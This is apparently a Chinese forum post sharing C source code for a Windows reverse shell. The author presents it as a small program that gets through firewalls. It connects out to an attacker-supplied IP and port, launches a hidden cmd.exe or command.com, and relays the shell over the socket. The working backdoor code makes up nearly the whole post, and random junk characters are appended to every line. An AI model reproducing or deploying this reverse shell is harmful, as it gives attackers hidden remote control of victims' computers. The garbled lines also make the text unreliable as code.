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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i6h0_q8 >  
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/* ============================== ~Oj-W6-+&,  
Rebound port in Windows NT +qF,XJ2  
By wind,2006/7 @(tiPV  
===============================*/ ==7=1QfP  
#include 8\Z/mU*4  
#include 1\,wV,  
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#pragma comment(lib,"wsock32.lib") 0jefV*3qpB  
'-X913eG!  
void OutputShell(); vC5 (  
SOCKET sClient; e-{4qt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BA0.B0+"  
T^ah'WmNw  
void main(int argc,char **argv) ZZ;V5o6E  
{ $0E_4#kwB  
WSADATA stWsaData; 1T7;=<g`  
int nRet; fNi_C"<  
SOCKADDR_IN stSaiClient,stSaiServer; I03 45Hc  
3D7phq>.q  
if(argc != 3) w~9=6|_  
{ {I_I$x_  
printf("Useage:\n\rRebound DestIP DestPort\n"); <~qhy{hRn  
return; 9_S>G$9D  
} |a Ht6F  
8|#p D4e  
WSAStartup(MAKEWORD(2,2),&stWsaData); !;C *Wsp}  
8[z& g%u  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9ev " BO  
QVrMrm+vRv  
stSaiClient.sin_family = AF_INET; MU&P+Wr  
stSaiClient.sin_port = htons(0); rU1{a" {  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $y*[" ~TJ  
m&#a M8:\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %g&i.2v  
{ -@_V|C'?  
printf("Bind Socket Failed!\n"); S)\%.~ n  
return; ep"54o5=d  
} =i)k@w_(x  
~v<,6BS<$Z  
stSaiServer.sin_family = AF_INET; ! =c&U.B  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z66@@?`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XmoS$ /#"  
 %sLij*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) APksY!  
{ &ExYul  
printf("Connect Error!"); !Q5ip'L  
return; `#~HCl  
} q[SUYb;,  
OutputShell(); G?6[K&w  
} pYs"Y;%  
#zcnc$x\  
void OutputShell() [0e}%!%M  
{ VXAgp6  
char szBuff[1024]; zZ=.riK  
SECURITY_ATTRIBUTES stSecurityAttributes; P1 `-OM  
OSVERSIONINFO stOsversionInfo; Gv}h/zu-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9m fYB  
STARTUPINFO stStartupInfo; e$^O_e  
char *szShell; Ci ? +Sl  
PROCESS_INFORMATION stProcessInformation; ;-d :!*  
unsigned long lBytesRead; M -df Gk  
i'%:z]hp9  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q|%(47}z  
^\<1Y''  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xe6 2gaT  
stSecurityAttributes.lpSecurityDescriptor = 0; n300kpv  
stSecurityAttributes.bInheritHandle = TRUE; ATU 2\Y  
=kvYE,,g_  
WVf>>E^1  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~l@SGHx  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); AjZ@hid  
G =+sW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i=<N4Vx  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b&Sk./ J6  
stStartupInfo.wShowWindow = SW_HIDE; bg)yl iX  
stStartupInfo.hStdInput = hReadPipe; 9c1n  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,wlh0;,  
q*<Df=+B  
GetVersionEx(&stOsversionInfo); f&Bu_r  
of ^N4  
switch(stOsversionInfo.dwPlatformId) E0}jEl/{  
{ bd2"k;H<o  
case 1: `1KZ14K  
szShell = "command.com"; ;o#R(m@Lx  
break; eRa1eR gP  
default: '7{0k{  
szShell = "cmd.exe"; :R<n{%~  
break; yl%F}kBR  
} 56m|gZcC  
$vdGkz@6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z;W`deA  
fmvv q1G&  
send(sClient,szMsg,77,0); '+ |{4-V  
while(1) 4 |N&Y  
{ @fbB3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H0s,tTK8  
if(lBytesRead) g!O(@Sqp1  
{ m4 *Rr  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cV5Lp4wY?  
send(sClient,szBuff,lBytesRead,0); @qH<4`y.^  
} c)M_&?J!5  
else HQ+:0" B  
{ xS,#TU;)Ol  
lBytesRead=recv(sClient,szBuff,1024,0); GjA;o3(  
if(lBytesRead<=0) break; @M"h_Z1#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pVw)"\S%  
} Q<r O5 -K  
} d3(T=9;f2  
- iS\3P.  
return; u[^(s_  
}
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